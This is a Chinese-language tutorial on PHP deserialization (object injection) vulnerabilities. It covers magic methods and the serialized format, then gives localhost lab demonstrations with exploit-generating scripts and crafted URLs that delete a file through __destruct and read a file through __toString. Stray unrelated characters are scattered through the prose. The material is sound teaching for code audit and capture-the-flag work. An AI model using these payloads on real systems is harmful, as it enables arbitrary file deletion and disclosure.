php對象注入是一個非常常見的漏洞,這個類型的漏洞雖然有些難以利用扣癣,但仍舊非常危險惰帽。為了理解這個漏洞,請讀者具備基礎的php知識父虑。類和變量是非常容易理解的php概念该酗。
這里先來了解一下什么是php序列化與反序列化?
序列化:
函數(shù) : serialize()
把復雜的數(shù)據(jù)類型壓縮到一個字符串中 數(shù)據(jù)類型可以是數(shù)組士嚎,字符串垂涯,對象等
序列化一個對象將會保存對象的所有變量,但是不會保存對象的方法航邢,只會保存類的名字耕赘。
反序列化:
函數(shù): unserialize()
恢復原先被序列化的變量
首先了解一下php中的魔術方法:
php類可能會包含一些特殊的函數(shù)叫magic函數(shù),magic函數(shù)命名是以符號__開頭的膳殷,比如 __construct, __destruct, __toString, __sleep, __wakeup等等操骡。這些函數(shù)在某些情況下會自動調(diào)用,比如__construct當一個對象創(chuàng)建時被調(diào)用赚窃,__destruct當一個對象銷毀時被調(diào)用册招,__toString當一個對象被當作一個字符串使用。為了更好的理解magic方法是如何工作的勒极,在2.php中增加了三個magic方法是掰,__construct, __destruct和__toString∪枘洌可以看出键痛,__construct在對象創(chuàng)建時調(diào)用,__destruct在php腳本結(jié)束時調(diào)用匾七,__toString在對象被當作一個字符串使用時調(diào)用絮短。
__construct 當一個對象創(chuàng)建時被調(diào)用,
__destruct 當一個對象銷毀時被調(diào)用昨忆,
__toString 當一個對象被當作一個字符串被調(diào)用丁频。
__wakeup() 使用unserialize時觸發(fā)
__sleep() 使用serialize時觸發(fā)
__destruct() 對象被銷毀時觸發(fā)
__call() 在對象上下文中調(diào)用不可訪問的方法時觸發(fā)
__callStatic() 在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā)
__get() 用于從不可訪問的屬性讀取數(shù)據(jù)
__set() 用于將數(shù)據(jù)寫入不可訪問的屬性
__isset() 在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā)
__unset() 在不可訪問的屬性上使用unset()時觸發(fā)
__toString() 把類當作字符串使用時觸發(fā),返回值需要為字符串
__invoke() 當腳本嘗試將對象調(diào)用為函數(shù)時觸發(fā)
<?php
class TestClass
{
// 一個變量
public $variable = 'This is a string';
// 一個簡單的方法
public function PrintVariable()
{
echo $this->variable . '<br />';
}
// Constructor
public function __construct()
{
echo '__construct <br />';
}
// Destructor
public function __destruct()
{
echo '__destruct <br />';
}
// Call
public function __toString()
{
return '__toString<br />';
}
}
// 創(chuàng)建一個對象
// __construct會被調(diào)用
$object = new TestClass();
// 創(chuàng)建一個方法
$object->PrintVariable();
// 對象被當作一個字符串
// __toString會被調(diào)用
echo $object;
// End of PHP script
// 腳本結(jié)束__destruct會被調(diào)用
?>
php允許保存一個對象方便以后重用,這個過程被稱為序列化邑贴。為什么要有序列化這種機制呢?在傳遞變量的過程中席里,有可能遇到變量值要跨腳本文件傳遞的過程。試想拢驾,如果為一個腳本中想要調(diào)用之前一個腳本的變量奖磁,但是前一個腳本已經(jīng)執(zhí)行完畢,所有的變量和內(nèi)容釋放掉了独旷,我們要如何操作呢?難道要前一個腳本不斷的循環(huán)署穗,等待后面腳本調(diào)用?這肯定是不現(xiàn)實的寥裂。serialize和unserialize就是用來解決這一問題的嵌洼。serialize可以將變量轉(zhuǎn)換為字符串并且在轉(zhuǎn)換中可以保存當前變量的值案疲;unserialize則可以將serialize生成的字符串變換回變量。讓我們看看php對象序列化之后的格式麻养。
1.2 PHP序列化格式:
O:4:"Test":2:{s:1:"a";s:5:"Hello";s:1:"b";i:20;}
對象類型:長度:"名字":類中變量的個數(shù):{類型:長度:"名字";類型:長度:"值";......}
1.3 類型字母詳解:
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
例如:
<?php
// 某類
class User
{
// 類數(shù)據(jù)
public $age = 0;
public $name = '';
// 輸出數(shù)據(jù)
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old. <br />';
}
}
// 創(chuàng)建一個對象
$usr = new User();
// 設置數(shù)據(jù)
$usr->age = 20;
$usr->name = 'John';
// 輸出數(shù)據(jù)
$usr->PrintData();
// 輸出序列化之后的數(shù)據(jù)
echo serialize($usr);
?>
User John is 20 years old.
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}
當$name為public型的時候可以看到name為4字節(jié)輸出
<?php
class User
{
// 類數(shù)據(jù)
public $age = 0;
private $name = 'John';
// 輸出數(shù)據(jù)
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old. <br />';
}
}
// 創(chuàng)建一個對象
$usr = new User();
// 設置數(shù)據(jù)
$usr->age = 20;
//$usr->name = 'John';
// 輸出數(shù)據(jù)
$usr->PrintData();
// 輸出序列化之后的數(shù)據(jù)
echo serialize($usr);
?>
User John is 20 years old.
O:4:"User":2:{s:3:"age";i:20;s:10:"Username";s:4:"John";}
$name為private類型時褐啡,發(fā)現(xiàn)10字節(jié)username
User John is 20 years old.
O:4:"User":2:{s:3:"age";i:20;s:7:"*name";s:4:"John";}
$name為protected類型時輸出
發(fā)現(xiàn)個問題,為什么私有的鳖昌,受保護的$name上都多了兩個字節(jié)呢备畦?
Ps:對象的私有成員具有加入成員名稱的類名稱;受保護的成員在成員名前面加上*。這些前綴值在任一側(cè)都有空字節(jié)
反序列化:
為了使用上面這個對象许昨,用unserialize重建對象懂盐。
<?php
// 某類
class User
{
// Class data
public $age = 0;
public $name = '';
// Print data
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// 重建對象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
// 調(diào)用PrintData 輸出數(shù)據(jù)
$usr->PrintData();
?>
magic函數(shù)__construct和__destruct會在對象創(chuàng)建或者銷毀時自動調(diào)用;__sleep magic方法在一個對象被序列化的時候調(diào)用糕档;__wakeup magic方法在一個對象被反序列化的時候調(diào)用莉恼。在5.php中添加這幾個magic函數(shù)的例子。
<?php
class Test
{
public $variable = 'BUZZ';
public $variable2 = 'OTHER';
public function PrintVariable()
{
echo $this->variable . '<br />';
}
public function __construct()
{
echo '__construct<br />';
}
public function __destruct()
{
echo '__destruct<br />';
}
public function __wakeup()
{
echo '__wakeup<br />';
}
public function __sleep()
{
echo '__sleep<br />';
return array('variable', 'variable2');
}
}
創(chuàng)建對象調(diào)用__construct
$obj = new Test();
序列化對象調(diào)用__sleep
$serialized = serialize($obj);
輸出序列化后的字符串
print 'Serialized: ' . $serialized . '<br />';
重建對象調(diào)用__wakeup
$obj2 = unserialize($serialized);
調(diào)用PintVariable輸出數(shù)據(jù)
$obj2->PrintVariable();
腳本結(jié)束調(diào)用__destruct
?>
序列化public private protect參數(shù)產(chǎn)生不同結(jié)果
<?php
class test{
private $test1="hello";
public $test2="hello";
protected $test3="hello";
}
$test = new test();
echo serialize($test); // O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
?>
test類定義了三個不同類型(私有速那,公有俐银,保護)但是值相同的字符串,序列化輸出的值不相同 O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
通過對網(wǎng)頁抓取輸出是這樣的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}
private的參數(shù)被反序列化后變成 \00test\00test1 public的參數(shù)變成 test2 protected的參數(shù)變成 \00*\00test3
php反序列化漏洞
現(xiàn)在我們了解序列化是如何工作的端仰,但是我們?nèi)绾卫盟?有多種可能的方法,取決于應用程序、可用的類和magic函數(shù)怠苔。記住刚盈,序列化對象包含攻擊者控制的對象值。你可能在Web應用程序源代碼中找到一個定義__wakeup或__destruct的類鹤竭,這些函數(shù)會影響Web應用程序陪捷。例如,我們可能會找到一個臨時將日志存儲到文件中的類诺擅。當銷毀時對象可能不再需要日志文件并將其刪除市袖。把下面這段代碼保存為logfile.php。
<?php
class LogFile
{
// log文件名
public $filename = 'error.log';
// 儲存日志文件
public function LogData($text)
{
echo 'Log some data: ' . $text . '<br />';
file_put_contents($this->filename, $text, FILE_APPEND);
}
// 刪除日志文件
public function __destruct()
{
echo '__destruct deletes "' . $this->filename . '" file. <br />';
unlink(dirname(__FILE__) . '/' . $this->filename);
}
}
?>
這是一個使用它的例子烁涌。
<?php
include 'logfile.php';
// 創(chuàng)建一個對象
$obj = new LogFile();
// 設置文件名和要儲存的日志數(shù)據(jù)
$obj->filename = 'somefile.log';
$obj->LogData('Test');
// 腳本結(jié)束__destruct被調(diào)用somefile.log文件被刪除
?>
在其它腳本中我們可能找到一個unserialize的調(diào)用苍碟,并且參數(shù)是用戶提供的。把下面這段代碼保存為test.php撮执。
<?php
include 'logfile.php';
// ... 一些使用LogFile類的代碼...
// 簡單的類定義
class User
{
// 類數(shù)據(jù)
public $age = 0;
public $name = '';
// 輸出數(shù)據(jù)
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// 重建用戶輸入的數(shù)據(jù)
$usr = unserialize($_GET['usr_serialized']);
?>
現(xiàn)在是可以打開aa.php的
通過下面代碼進行刪除aa.php
創(chuàng)建利用代碼111.php微峰。
<?php
include 'logfile.php';
$obj = new LogFile();
$obj->filename = 'aa.php';
echo serialize($obj) . '<br />';
?>
訪問111.php
可以看到序列化后的字符串
然后訪問http://127.0.0.1/myphp/Test.php?usr_serialized=O:7:%22LogFile%22:1:{s:8:%22filename%22;s:6:%22aa.php%22;}
發(fā)現(xiàn)已刪除aa.php,檢查一下
這時找不到aa.php了抒钱,說明已被刪除
這就是漏洞名稱的由來:在變量可控并且進行了unserialize操作的地方注入序列化對象蜓肆,實現(xiàn)代碼執(zhí)行或者其它坑爹的行為颜凯。先不談 __wakeup 和 __destruct,還有一些很常見的注入點允許你利用這個類型的漏洞仗扬,一切都是取決于程序邏輯症概。舉個例子,某用戶類定義了一個__toString為了讓應用程序能夠?qū)㈩愖鳛橐粋€字符串輸出(echo $obj)早芭,而且其他類也可能定義了一個類允許__toString讀取某個文件彼城。把下面這段代碼保存為TT.php。
<?php
// … 一些include ...
class FileClass
{
// 文件名
public $filename = 'error.log';
// 當對象被作為一個字符串會讀取這個文件
public function __toString()
{
return file_get_contents($this->filename);
}
}
// Main User class
class User
{
// Class data
public $age = 0;
public $name = '';
// 允許對象作為一個字符串輸出上面的data
public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// 用戶可控
$obj = unserialize($_GET['usr_serialized']);
// 輸出__toString
echo $obj;
?>
訪問http://127.0.0.1/myphp/TT.php?usr_serialized=O:4:%22User%22:2:{s:3:%22age%22;i:20;s:4:%22name%22;s:4:%22John%22;}
但是如果我們用序列化調(diào)用FileClass呢?先建立一個1.txt退个。
創(chuàng)建利用代碼a_1.php募壕。
<?php
include 'test.php';
$fileobj = new FileClass();
$fileobj->filename = '1.txt';
echo serialize($fileobj);
?>
訪問http://127.0.0.1/myphp/a_1.php
訪問 http://127.0.0.1/myphp/TT.php?usr_serialized=O:9:%22FileClass%22:1:{s:8:%22filename%22;s:5:%221.txt%22;}
成功顯示了文本內(nèi)容。也可以使用其他magic函數(shù):如果對象將調(diào)用一個不存在的函數(shù)__call將被調(diào)用语盈;如果對象試圖訪問不存在的類變量__get和__set將被調(diào)用舱馅。但是利用這種漏洞并不局限于magic函數(shù),在普通的函數(shù)上也可以采取相同的思路刀荒。例如User類可能定義一個get方法來查找和打印一些用戶數(shù)據(jù)代嗤,但是其他類可能定義一個從數(shù)據(jù)庫獲取數(shù)據(jù)的get方法,這從而會導致SQL注入漏洞照棋。set或write方法會將數(shù)據(jù)寫入任意文件资溃,可以利用它獲得遠程代碼執(zhí)行。唯一的技術問題是注入點可用的類烈炭,但是一些框架或腳本具有自動加載的功能溶锭。最大的問題在于人:理解應用程序以能夠利用這種類型的漏洞,因為它可能需要大量的時間來閱讀和理解代碼符隙。
漏洞的前提:
1)unserialize函數(shù)的變量可控
2)php文件中存在可利用的類趴捅,類中有魔術方法
利用場景在ctf、代碼審計中常見霹疫,黑盒測試要通過檢查cookie等有沒有序列化的值來查看拱绑。
防御方法主要有對參數(shù)進行處理、換用更安全的函數(shù)丽蝎。
推薦閱讀:SugarCRM v6.5.23 PHP反序列化對象注入漏洞分析